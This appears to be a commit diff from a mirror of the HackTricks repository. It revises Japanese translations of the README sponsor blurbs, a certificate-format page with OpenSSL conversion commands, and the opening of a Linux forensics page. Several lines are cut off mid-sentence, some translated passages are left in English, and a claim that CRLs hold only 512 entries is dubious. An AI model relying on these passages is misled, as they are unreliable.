mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['README.md', 'cryptography/certificates.md', 'forensics/basi
This commit is contained in:
parent
80db4183e8
commit
bedb2f87ab
44 changed files with 2173 additions and 2930 deletions
14
README.md
14
README.md
|
@ -50,7 +50,7 @@ _あなたの会社もここに掲載されるかもしれません。_
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**しましょう。
|
||||
|
@ -67,7 +67,7 @@ _あなたの会社もここに掲載されるかもしれません。_
|
|||
|
||||
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)は、脆弱性管理を簡単にします。攻撃対象の範囲を把握し、企業が脆弱性を抱えている箇所を確認し、システムが最も公開されている問題に優先順位を付けることで、最も重要なことに集中できます。
|
||||
|
||||
内部インフラストラクチャからWebアプリ、API、クラウドシステムまで、すべての技術スタックをカバーする単一のプラットフォームで数千のチェックを実行します。[AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure)とシームレスに統合し、DevOpsを効率化してチームが修正を迅速に実装できるようにします。
|
||||
内部インフラからWebアプリ、API、クラウドシステムまで、一つのプラットフォームで数千のチェックを実行します。[AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure)とシームレスに統合し、DevOpsを効率化してチームが修正を迅速に実装できるようにします。
|
||||
|
||||
Intruderは休むことはありません。24時間体制でシステムを監視します。詳細を知りたいですか?サイトを訪れ、[**無料トライアル**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)で試してみてください。
|
||||
|
||||
|
@ -96,11 +96,13 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl)は、**アムステルダム**を拠点とするプロのサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威から**世界中のビジネスを**保護**するために**攻撃的なセキュリティサービス**を提供しています。
|
||||
[**WebSec**](https://websec.nl)は、**アムステルダム**を拠点とするプロのサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威から世界中のビジネスを保護**するために**攻撃的なセキュリティサービス**を提供しています。
|
||||
|
||||
WebSecは**オールインワンのセキュリティ企業**であり、ペンテスト、セキュリティ監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを行っています。
|
||||
WebSecは**オールインワンのセキュリティ企業**であり、ペンテスト、セキュリティ監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを行います。
|
||||
|
||||
WebSecのもう一つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**私たちがハックできなければ、お金はいただきません!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご
|
||||
WebSecのもう一つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**私たちがハックできなければ、お金はかかりません!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください!
|
||||
|
||||
上記に加えて、WebSecはHackTricksを**熱心
|
||||
### [DragonJAR](https://www.dragonjar.org/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -125,7 +127,7 @@ WebSecのもう一つの素晴らしい点は、業界平均とは異なり、We
|
|||
|
||||
さらに、この書籍で説明されている技術やヒントは、教育および情報提供の目的でのみ提供されるものであり、いかなる違法または悪意のある活動にも使用してはなりません。著者および出版者は、違法または非倫理的な活動を是認または支持するものではなく、この書籍内に含まれる情報の使用は、ユーザー自身のリスクと裁量によるものです。
|
||||
|
||||
ユーザーは、この書籍に含まれる情報に基づいて行われるすべての行動について、自己の責任を負い、ここに記載されている技術やヒントを実装しようとする場合は常に専門の助言と支援を求めるべきです。
|
||||
ユーザーは、この書籍内に含まれる情報に基づいて行われるすべての行動について、自己の責任を負い、ここに記載されている技術やヒントを実装しようとする場合は常に専門の助言と支援を求めるべきです。
|
||||
|
||||
この書籍を使用することで、ユーザーは、この書籍またはその中に含まれる情報の使用によって生じるいかなる損害、損失、または害に対しても、著者および出版者を一切の責任から免責し、解放することに同意します。
|
||||
{% endhint %}
|
||||
|
|
|
@ -8,11 +8,11 @@
|
|||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築および自動化します。\
|
||||
|
@ -53,8 +53,8 @@
|
|||
* **公開鍵アルゴリズム**:公開鍵を生成するために使用されるアルゴリズム。RSAのようなもの。
|
||||
* **公開鍵曲線**:楕円曲線公開鍵アルゴリズムで使用される曲線(適用される場合)。nistp521のようなもの。
|
||||
* **公開鍵指数**:公開鍵を導出するために使用される指数(適用される場合)。65537のようなもの。
|
||||
* **公開鍵サイズ**:公開鍵空間のサイズ(ビット単
|
||||
* **Authority Key Identifier**: 発行者証明書の公開鍵から派生したキー識別子を含んでいます。これは発行者公開鍵のハッシュです。
|
||||
* **公開鍵サイズ**:ビット単位での公開
|
||||
* **Authority Key Identifier**: 発行者証明書の公開鍵から派生した鍵識別子を含んでいます。これは発行者公開鍵のハッシュです。
|
||||
* **Authority Information Access** (AIA): この拡張機能には最大2種類の情報が含まれています:
|
||||
* この証明書の発行者を取得する方法に関する情報(CA発行者アクセス方法)
|
||||
* この証明書の失効を確認するためのOCSPレスポンダのアドレス(OCSPアクセス方法)。
|
||||
|
@ -63,31 +63,31 @@
|
|||
|
||||
### OCSPとCRL Distribution Pointsの違い
|
||||
|
||||
**OCSP**(RFC 2560)は、**OCSPクライアントとOCSPレスポンダ**から構成される標準プロトコルです。このプロトコルは、**CRL全体をダウンロードすることなく、指定されたデジタル公開鍵証明書の失効ステータスを判定**します。\
|
||||
**CRL**は証明書の有効性を確認するための**従来の方法**です。CRLは、失効または無効になった証明書のシリアル番号のリストを提供します。CRLを使用することで、検証者は提示された証明書の失効ステータスを確認することができます。CRLは512エントリまでしか対応していません。\
|
||||
**OCSP**(RFC 2560)は、**OCSPクライアントとOCSPレスポンダ**から構成される標準プロトコルです。このプロトコルは、**完全なCRLをダウンロードすることなく、指定されたデジタル公開鍵証明書の失効ステータスを判断**します。\
|
||||
**CRL**は証明書の有効性を確認するための**従来の方法**です。CRLは、失効または無効になった証明書のシリアル番号のリストを提供します。CRLを使用することで、検証者は提示された証明書の失効ステータスを確認できます。CRLは512エントリまでしか制限されていません。\
|
||||
[ここから](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)。
|
||||
|
||||
### 証明書透明性とは
|
||||
### Certificate Transparencyとは
|
||||
|
||||
証明書透明性は、ドメイン所有者、CA、およびドメインユーザーによるSSL証明書の発行と存在を公開し、検証することによって、証明書に基づく脅威を解決しようとするものです。具体的には、証明書透明性には次の3つの主な目標があります:
|
||||
Certificate Transparencyは、SSL証明書に基づく脅威を解決するために、ドメイン所有者、CA、およびドメインユーザーによるSSL証明書の発行と存在を公開し、検証することを目的としています。具体的には、Certificate Transparencyには次の3つの主な目標があります:
|
||||
|
||||
* ドメインの所有者が証明書を確認することなく、CAがそのドメインのためにSSL証明書を発行することを不可能(または少なくとも非常に困難)にする。
|
||||
* ドメインの所有者が証明書を確認できるようにするために、CAがドメインのためにSSL証明書を発行することができない(または非常に困難にする)。
|
||||
* 証明書が誤ってまたは悪意を持って発行されたかどうかを、任意のドメイン所有者またはCAが確認できるようにするためのオープンな監査およびモニタリングシステムを提供する。
|
||||
* 誤ってまたは悪意を持って発行された証明書によってユーザーがだまされることを(可能な限り)防ぐ。
|
||||
|
||||
#### **証明書ログ**
|
||||
#### 証明書ログ
|
||||
|
||||
証明書ログは、証明書の**暗号化された、公開監査可能な、追加のみのレコード**を維持するシンプルなネットワークサービスです。**誰でもログに証明書を提出できます**が、証明書機関が最も頻繁に提出するでしょう。同様に、誰でもログをクエリできます。クエリ結果は暗号的な証明として使用でき、ログが適切に動作しているか、または特定の証明書がログに記録されているかを検証できます。ログサーバーの数は大きくなくても構いません(たとえば、世界中で1000を下回る程度)。それぞれのログサーバーは、CA、ISP、または他の関係者によって独立して運営される可能性があります。
|
||||
証明書ログは、証明書の**暗号化された、公開監査可能な、追加のみのレコード**を維持するシンプルなネットワークサービスです。**誰でもログに証明書を提出できます**が、証明書機関が最も頻繁に提出するでしょう。同様に、誰でもログをクエリできます。クエリ結果は暗号的な証明として使用でき、ログが適切に動作しているか、または特定の証明書がログに記録されているかを検証できます。ログサーバーの数は大きくする必要はありません(たとえば、世界中で1000を下回る程度)。それぞれのログサーバーは、CA、ISP、または他の関係者によって独立して運営される可能性があります。
|
||||
|
||||
#### クエリ
|
||||
|
||||
[https://crt.sh/](https://crt.sh)で任意のドメインの証明書透明性のログをクエリできます。
|
||||
[https://crt.sh/](https://crt.sh)で任意のドメインのCertificate Transparencyログをクエリできます。
|
||||
|
||||
## フォーマット
|
||||
|
||||
証明書を保存するために使用できるさまざまなフォーマットがあります。
|
||||
|
||||
#### **PEMフォーマット**
|
||||
#### PEMフォーマット
|
||||
|
||||
* 証明書に最も一般的に使用されるフォーマットです
|
||||
* ほとんどのサーバー(例:Apache)は、証明書と秘密鍵を別々のファイルに保存することを想定しています\
|
||||
|
@ -95,7 +95,7 @@
|
|||
\- PEM証明書に使用される拡張子は.cer、.crt、.pem、.keyファイルです\
|
||||
\- Apacheや同様のサーバーはPEM形式の証明書を使用します
|
||||
|
||||
#### **DERフォーマット**
|
||||
#### DERフォーマット
|
||||
|
||||
* DERフォーマットは証明書のバイナリ形式です
|
||||
* すべてのタイプの証明書と秘密鍵をDER形式でエンコードすることができます
|
||||
|
@ -103,17 +103,17 @@
|
|||
* DER形式の証明書は、一般的に「.cer」や「.der」の拡張子を使用します
|
||||
* DERは主にJavaプラットフォームで使用されます
|
||||
|
||||
#### **P7B/PKCS#7フォーマット**
|
||||
#### P7B/PKCS#7フォーマット
|
||||
|
||||
* PKCS#7またはP7Bフォーマットは、Base64 ASCII形式で保存され、拡張子が.p7bまたは.p7cのファイルです
|
||||
* P7Bファイルには証明書とチェーン証明書(中間CA)のみが含まれており、秘密鍵は含まれていません
|
||||
* P7Bファイルをサポートする最も一般的なプラットフォームは、Microsoft WindowsとJava Tomcatです
|
||||
|
||||
#### **PFX/P12/PKCS#12フォーマット**
|
||||
#### PFX/P12/PKCS#12フォーマット
|
||||
|
||||
* PKCS#12またはPFX/P12フォーマットは、サーバー証明書、中間証明書、および秘密鍵を1つの暗号化可能なファイルに格納するバイナリ形式です
|
||||
* これらのファイルには通常、.pfxや.p12などの拡張子が付いています
|
||||
* これらは通常、証明書と秘密鍵をインポートおよびエクスポートするためにWindowsマシンで使用されます
|
||||
* PKCS#12またはPFX/P12フォーマットは、サーバー証明書、中間証明書、および秘密鍵を1つの暗号化可能なファイルに格納するためのバイナリ形式です
|
||||
* これらのファイルには通常、.pfxや.p12などの拡張子があります
|
||||
* これらは通常、Windowsマシンで証明書と秘密鍵をインポートおよびエクスポートするために使用されます
|
||||
|
||||
### フォーマットの変換
|
||||
|
||||
|
@ -121,35 +121,41 @@
|
|||
```
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
#### **PEMをDERに変換する**
|
||||
To convert a PEM (Privacy Enhanced Mail) certificate file to DER (Distinguished Encoding Rules) format, you can use the OpenSSL command-line tool. The following command can be used for the conversion:
|
||||
|
||||
To convert a PEM certificate to DER format, you can use the OpenSSL command-line tool. The following command can be used:
|
||||
|
||||
```
|
||||
```bash
|
||||
openssl x509 -in certificate.pem -outform der -out certificate.der
|
||||
```
|
||||
|
||||
Replace `certificate.pem` with the path to your PEM certificate file, and `certificate.der` with the desired output file name for the DER format.
|
||||
|
||||
PEM形式の証明書をDER形式に変換するには、OpenSSLのコマンドラインツールを使用することができます。次のコマンドを使用します。
|
||||
This command will read the PEM certificate file and convert it to DER format, saving the result in the specified output file.
|
||||
|
||||
```
|
||||
openssl x509 -in certificate.pem -outform der -out certificate.der
|
||||
```
|
||||
|
||||
`certificate.pem`をPEM証明書ファイルのパスに、`certificate.der`をDER形式の出力ファイル名に置き換えてください。
|
||||
Note that PEM and DER are two different formats for representing certificates. PEM is a base64-encoded format that includes header and footer lines, while DER is a binary format. The conversion from PEM to DER is often required when working with certain systems or applications that only accept DER-encoded certificates.
|
||||
```
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
**DERをPEMに変換する**
|
||||
|
||||
DER形式の証明書をPEM形式に変換するには、次のコマンドを使用します。
|
||||
DER形式の証明書をPEM形式に変換する方法を説明します。
|
||||
|
||||
```plaintext
|
||||
openssl x509 -inform der -in certificate.der -out certificate.pem
|
||||
```
|
||||
1. OpenSSLコマンドを使用して、DER形式の証明書をPEM形式に変換します。
|
||||
|
||||
このコマンドは、`certificate.der`という名前のDER形式の証明書を読み込み、`certificate.pem`という名前のPEM形式の証明書に変換します。
|
||||
```shell
|
||||
openssl x509 -inform der -in certificate.der -out certificate.pem
|
||||
```
|
||||
|
||||
このコマンドでは、`certificate.der`は変換したいDER形式の証明書ファイルのパスを指定します。変換後のPEM形式の証明書は`certificate.pem`という名前で保存されます。
|
||||
|
||||
2. 変換されたPEM形式の証明書をテキストエディタで開きます。
|
||||
|
||||
```shell
|
||||
vi certificate.pem
|
||||
```
|
||||
|
||||
PEM形式の証明書はBase64エンコードされているため、テキストエディタで内容を確認できます。
|
||||
|
||||
以上で、DER形式の証明書をPEM形式に変換する手順が完了です。
|
||||
```
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
|
@ -161,18 +167,25 @@ openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b
|
|||
```
|
||||
**PKCS7をPEMに変換する**
|
||||
|
||||
PKCS7形式の証明書をPEM形式に変換する方法は次のとおりです。
|
||||
PKCS7形式の証明書をPEM形式に変換する方法を説明します。
|
||||
|
||||
1. PKCS7形式の証明書をテキストエディタで開きます。
|
||||
2. ファイルの先頭に`-----BEGIN PKCS7-----`という行を追加します。
|
||||
3. ファイルの末尾に`-----END PKCS7-----`という行を追加します。
|
||||
4. ファイルを保存し、拡張子を`.pem`に変更します。
|
||||
1. まず、PKCS7形式の証明書ファイルを用意します。
|
||||
|
||||
これにより、PKCS7形式の証明書がPEM形式に変換されます。
|
||||
2. 次に、OpenSSLコマンドを使用して、PKCS7形式の証明書をPEM形式に変換します。以下のコマンドを実行します。
|
||||
|
||||
```
|
||||
openssl pkcs7 -print_certs -in input.p7b -out output.pem
|
||||
```
|
||||
|
||||
このコマンドは、`input.p7b`という名前のPKCS7形式の証明書ファイルを読み込み、`output.pem`という名前のPEM形式の証明書ファイルに変換します。
|
||||
|
||||
3. 変換が完了すると、`output.pem`ファイルにPEM形式の証明書が保存されます。
|
||||
|
||||
これで、PKCS7形式の証明書をPEM形式に変換することができました。
|
||||
```
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**pfxをPEMに変換する**
|
||||
**PFXをPEMに変換する**
|
||||
|
||||
**注意:** PKCS#12またはPFX形式は、サーバー証明書、中間証明書、および秘密鍵を1つの暗号化可能なファイルに格納するためのバイナリ形式です。PFXファイルは通常、.pfxや.p12などの拡張子を持ちます。PFXファイルは、通常、Windowsマシンで証明書と秘密鍵をインポートおよびエクスポートするために使用されます。
|
||||
```
|
||||
|
@ -189,24 +202,17 @@ openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
|||
|
||||
PEM形式の証明書をPKCS8形式に変換する方法を説明します。
|
||||
|
||||
1. 最初に、OpenSSLコマンドを使用してPEM形式の証明書をPKCS8形式に変換します。
|
||||
1. 最初に、OpenSSLコマンドを使用してPEM形式の証明書をPKCS8形式に変換します。以下のコマンドを実行します。
|
||||
|
||||
```plaintext
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private.pk8 -nocrypt
|
||||
```
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -in private_key.pem -out private_key_pkcs8.pem
|
||||
```
|
||||
|
||||
このコマンドは、`private.pem`という名前のPEM形式の証明書を`private.pk8`という名前のPKCS8形式の証明書に変換します。
|
||||
このコマンドは、`private_key.pem`という名前のPEM形式の秘密鍵をPKCS8形式に変換し、`private_key_pkcs8.pem`という名前で保存します。
|
||||
|
||||
2. 変換されたPKCS8形式の証明書は、DER形式で保存されます。
|
||||
2. コマンドを実行すると、パスワードの入力を求められる場合があります。元のPEM形式の秘密鍵にパスワードが設定されている場合は、パスワードを入力してください。
|
||||
|
||||
- `-topk8`オプションは、PKCS8形式の証明書を生成するために使用されます。
|
||||
- `-inform PEM`オプションは、入力ファイルがPEM形式であることを指定します。
|
||||
- `-outform DER`オプションは、出力ファイルをDER形式で保存することを指定します。
|
||||
- `-in private.pem`オプションは、変換するPEM形式の証明書のファイルパスを指定します。
|
||||
- `-out private.pk8`オプションは、変換後のPKCS8形式の証明書の保存先のファイルパスを指定します。
|
||||
- `-nocrypt`オプションは、パスワードを使用せずに証明書を変換することを指定します。
|
||||
|
||||
3. 変換が成功すると、`private.pk8`という名前のPKCS8形式の証明書が生成されます。
|
||||
3. 変換が完了すると、`private_key_pkcs8.pem`という名前のファイルにPKCS8形式の秘密鍵が保存されます。
|
||||
|
||||
これで、PEM形式の証明書をPKCS8形式に変換することができました。
|
||||
```
|
||||
|
@ -221,26 +227,30 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
|||
```
|
||||
**2- CERとプライベートキーをPFXに変換する**
|
||||
|
||||
To convert a CER (certificate) file and a private key to a PFX (PKCS#12) file, you can use the OpenSSL tool. The PFX file format allows you to combine the certificate and private key into a single file, which is commonly used for importing certificates into various systems.
|
||||
To convert a CER (certificate) file and a private key to a PFX (Personal Information Exchange) file, you can use the OpenSSL command-line tool. The PFX file is a container format that combines the certificate and private key into a single file.
|
||||
|
||||
Here is the command to convert the CER and private key files to PFX:
|
||||
Here are the steps to convert the CER and private key to PFX:
|
||||
|
||||
```plaintext
|
||||
openssl pkcs12 -export -out certificate.pfx -inkey privatekey.key -in certificate.cer
|
||||
```
|
||||
1. Open a command prompt or terminal.
|
||||
2. Navigate to the directory where the CER and private key files are located.
|
||||
3. Run the following OpenSSL command:
|
||||
|
||||
Replace `privatekey.key` with the path to your private key file, and `certificate.cer` with the path to your certificate file. The resulting PFX file will be named `certificate.pfx`.
|
||||
```
|
||||
openssl pkcs12 -export -out certificate.pfx -inkey privatekey.key -in certificate.cer
|
||||
```
|
||||
|
||||
During the conversion process, you will be prompted to set a password for the PFX file. Make sure to choose a strong password and keep it secure.
|
||||
Replace `privatekey.key` with the filename of your private key file, and `certificate.cer` with the filename of your CER file. You can also change `certificate.pfx` to the desired output filename.
|
||||
|
||||
After the conversion is complete, you can use the PFX file to import the certificate and private key into applications or systems that support the PFX format.
|
||||
4. Enter a password when prompted. This password will be used to protect the PFX file.
|
||||
|
||||
After running the command, OpenSSL will generate the PFX file containing the certificate and private key. Make sure to keep the PFX file secure, as it contains sensitive information.
|
||||
```
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -249,10 +259,10 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Linuxフォレンジックス
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -14,9 +14,9 @@
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -49,23 +49,23 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
|||
```
|
||||
#### 可疑情報
|
||||
|
||||
基本情報を取得する際に、以下のような奇妙なことをチェックする必要があります:
|
||||
基本情報を取得する際に、以下のような奇妙なことに注意してください:
|
||||
|
||||
* **ルートプロセス**は通常、低いPIDで実行されます。したがって、大きなPIDを持つルートプロセスが見つかった場合は疑わしいと考えられます。
|
||||
* `/etc/passwd`内のシェルのないユーザーの**登録済みログイン**をチェックします。
|
||||
* シェルのないユーザーの**パスワードハッシュ**を`/etc/shadow`内でチェックします。
|
||||
* `/etc/passwd`内のシェルのないユーザーの**登録済みログイン**を確認してください。
|
||||
* シェルのないユーザーの**パスワードハッシュ**を`/etc/shadow`内で確認してください。
|
||||
|
||||
### メモリダンプ
|
||||
|
||||
実行中のシステムのメモリを取得するために、[**LiME**](https://github.com/504ensicsLabs/LiME)を使用することをお勧めします。\
|
||||
それを**コンパイル**するためには、被害者のマシンが使用している**同じカーネル**を使用する必要があります。
|
||||
実行中のシステムのメモリを取得するためには、[**LiME**](https://github.com/504ensicsLabs/LiME)を使用することをおすすめします。\
|
||||
**コンパイル**するためには、被害者のマシンと同じカーネルを使用する必要があります。
|
||||
|
||||
{% hint style="info" %}
|
||||
被害者のマシンには、LiMEや他の何かを**インストールすることはできない**ことを忘れないでください。なぜなら、それによっていくつかの変更が加えられるからです。
|
||||
被害者のマシンには、LiMEや他の何かを**インストールすることはできません**。なぜなら、それによっていくつかの変更が加えられるからです。
|
||||
{% endhint %}
|
||||
|
||||
したがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms`を使用できます。\
|
||||
それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME)をgithubからダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー**を取得するためには、単にディレクトリ`/lib/modules/<kernel version>`を自分のマシンにコピーし、それを使用してLiMEを**コンパイル**します:
|
||||
それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME)をgithubからダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー**を取得するためには、単に`/lib/modules/<kernel version>`ディレクトリを自分のマシンに**コピー**し、それを使用してLiMEをコンパイルします:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
|
@ -73,7 +73,7 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
|||
LiMEは3つの**フォーマット**をサポートしています:
|
||||
|
||||
* Raw(すべてのセグメントを連結したもの)
|
||||
* Padded(Rawと同じですが、右ビットにゼロが入っています)
|
||||
* Padded(Rawと同じですが、右ビットにはゼロが入っています)
|
||||
* Lime(メタデータを含む推奨フォーマット)
|
||||
|
